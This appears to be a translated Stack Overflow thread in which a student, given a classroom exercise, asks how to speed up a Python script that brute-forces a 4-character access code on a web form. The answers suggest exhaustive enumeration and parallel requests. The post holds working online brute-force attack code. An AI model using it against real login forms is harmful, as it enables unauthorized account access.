【问题标题】:Slow brute force program in pythonpython中的慢速蛮力程序
【发布时间】:2015-11-14 17:08:21
【问题描述】:

问题出在这里,我们的安全老师创建了一个需要身份验证的网站,然后要求输入代码(4 个字符),以便您可以访问文件。他告诉我们用 Python(我们想要的任何库)编写一个可以找到密码的蛮力程序。所以要做到这一点,我想首先制作一个可以在该代码字段上尝试随机组合的程序,只是为了了解每个请求的时间(我正在使用请求库),结果令人失望的是每个请求大约需要 8 秒. 通过一些计算:4^36=13 436 928 个可能的组合,这将使我的程序花费大约 155.52 天。 如果有人可以帮助我加快速度,我真的很感激。 (他告诉我们每秒可以进行大约 1200 次组合)

这是我的代码:

import requests
import time
import random

def gen():
    alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
    pw_length = 4
    mypw = ""

    for i in range(pw_length):
        next_index = random.randrange(len(alphabet))
        mypw = mypw + alphabet[next_index]

    return mypw

t0 = time.clock()
t1 = time.time()

cookie = {'ig': 'b0b5294376ef12a219147211fc33d7bb'}

for i in range(0,5):
    t2 = time.clock()
    t3 = time.time()
    values = {'RECALL':gen()}
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values)
    print("##################################")
    print("cpu time for req ",i,":", time.clock()-t2)
    print("wall time for req ",i,":", time.time()-t3)

print("##################################")
print("##################################")
print("Total cpu time:", time.clock()-t0)
print("Total wall time:", time.time()-t1)

谢谢

【问题讨论】:

  • 当您使用Session() object 从而让requests 重新使用TCP 连接时会发生什么?
  • 并且不要使用随机密码;使用itertools.product(alphabet, repeat=4) 生成所有组合(使用''.join(combo) 将4 个字符重新连接成一个字符串)。
  • 谢谢,我会修改那个密码生成方法。你能再解释一下这个会议的想法吗?
  • 当我使用 Session() 对象时,请求大约需要 3 秒,这仍然太多了

标签: python python-requests brute-force


【解决方案1】:

您可以尝试使用Pool of workers 并行执行多个请求,将密码传递给每个工作人员。比如:

import itertools
from multiprocessing import Pool

def pass_generator():
    for pass_tuple in itertools.product(alphabet, repeat=4):
        yield ''.join(pass_tuple)

def check_password(password):
    values = {'RECALL': password}
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values)
    # Check response here.

pool = Pool(processes=NUMBER_OF_PROCESSES) 
pool.map(check_password, pass_generator())

【讨论】:

  • 谢谢你的想法,但是有最佳的进程数吗?
  • 您应该进行实验,从您拥有的核心数量的 2 倍开始,因为这是 I/O 限制,您应该更高,但在某些时候您会遇到性能问题。
  • 我有 i5 处理器,所以它是 4 核。所以我应该从8个流程开始?如果我使用 8 个进程,请求大约需要 8 秒,这仍然需要太长时间。
  • 这里描述了另一种似乎可能比上述方法更好的方法,它基于 gevent:stackoverflow.com/a/27016937/380038
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2012-07-07
  • 2015-03-31
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2021-11-19
  • 1970-01-01
相关资源
最近更新 更多